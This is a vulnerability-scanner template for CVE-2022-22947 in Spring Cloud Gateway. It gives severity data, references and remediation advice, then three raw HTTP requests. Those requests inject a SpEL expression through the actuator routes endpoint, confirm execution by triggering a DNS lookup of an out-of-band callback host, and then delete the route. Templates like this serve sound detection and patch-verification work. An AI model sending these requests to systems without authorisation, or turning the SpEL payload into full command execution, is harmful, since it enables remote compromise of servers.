Spring Cloud Gateway Code Injection

id: CVE-2022-22947

info:
  name: Spring Cloud Gateway Code Injection
  author: pdteam
  severity: critical
  description: Applications using Spring Cloud Gateway prior to 3.1.1+ and 3.0.7+ are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
  impact: |
    Successful exploitation of this vulnerability could lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
  remediation: |
    Apply the latest security patches provided by the vendor and ensure proper input validation to prevent code injection attacks.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-22947
    - https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
    - https://github.com/wdahlenburg/spring-gateway-demo
    - https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
    - https://tanzu.vmware.com/security/cve-2022-22947
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2022-22947
    cwe-id: CWE-917,CWE-94
    epss-score: 0.98253
    epss-percentile: 0.99916
    cpe: cpe:2.3:a:vmware:spring_cloud_gateway:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: vmware
    product: spring_cloud_gateway
  tags: cve,cve2022,apache,spring,vmware,actuator,oast,kev,vkev,vuln

http:
  - raw:
      - |
        POST /actuator/gateway/routes/{{randstr}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "predicates": [
            {
              "name": "Path",
              "args": {
                "_genkey_0": "/{{randstr}}/**"
              }
            }
          ],
          "filters": [
            {
              "name": "RewritePath",
              "args": {
                "_genkey_0": "#{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")}",
                "_genkey_1": "/${path}"
              }
            }
          ],
          "uri": "{{RootURL}}",
          "order": 0
        }
      - |
        POST /actuator/gateway/refresh HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "predicate": "Paths: [/{{randstr}}], match trailing slash: true",
          "route_id": "{{randstr}}",
          "filters": [
            "[[RewritePath #{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")} = /${path}], order = 1]"
          ],
          "uri": "{{RootURL}}",
          "order": 0
        }
      - |
        DELETE /actuator/gateway/routes/{{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "/routes/{{randstr}}"

      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 201